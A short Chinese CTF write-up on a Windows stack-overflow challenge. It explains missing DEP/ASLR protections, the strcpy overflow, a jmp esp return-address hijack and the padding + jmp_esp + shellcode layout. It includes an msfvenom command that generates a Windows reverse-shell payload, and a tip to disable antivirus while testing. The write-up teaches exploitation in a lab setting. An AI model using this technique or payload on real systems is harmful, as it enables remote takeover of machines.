windows-PWN小计
由于最近有同事在考某证所以给了我道windows的PWN,好像windows-pwn的学习相对较少,好像并没有
前置知识
要知道二进制漏洞一般都是万变不离其宗,想堆栈溢出不管是linux下,Windows下,甚至是一些RTOS下,都是由于用户的输入数据(在比赛中通常是标准的IO,真实漏洞挖掘中是一些协议的与服务的数据包)导致了内存的破坏,作为一个pwner在ctf中我们见惯了linux下的PWN,也知道要使用栈溢出等内存破坏漏洞PWN一个程序,非常重要的就是程序开启的保护以及程序的保护壳
Windows下的软件保护
具体保护可以看下面文章的描述
开发exe程序,大部分都是使用vc,vs等编译器,大部分保护都是这些编译器在编译过程中加入的
具体题目
整理思路
整个程序栈溢出点比较好找,在windows-pwn中比较简单的就是程序没有开启DEP保护,数据段可以执行。具体可以看程序是什么编译器生成的以及加入了哪些保护壳
exeinfo截图如下
程序是由vc++中是不会支持到DEP与ASLR的引入的,保护相对是没有的,且程序没有壳,所以可以往内存中注入shellcode执行即可
寻找漏洞触发
经过分析程序是使用strcpy函数将输入拷贝到栈上导致了栈溢出,需要寻找一条jmp esp的指令通过附件中给的dll找到,然后将返回地址劫持到此处,随后就会跳转到之后布置的shellcode上
payload的构造如下具体内存中的布局如下
padding + jmp_esp + shellocde
shellcode的生成可以使用msf生成reverse_shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=xxx LPORT=xxx -b "xxxx" EXITFUNC=thread -f c
成功反弹
PS
比较坑的一点就是开始没有分析整个程序的代码,整个程序导致一直在测badchar,拿到程序最好还是先分析
第二点就是本地测试的时候记得把杀软关了,它检测到有恶意连接会直接kill掉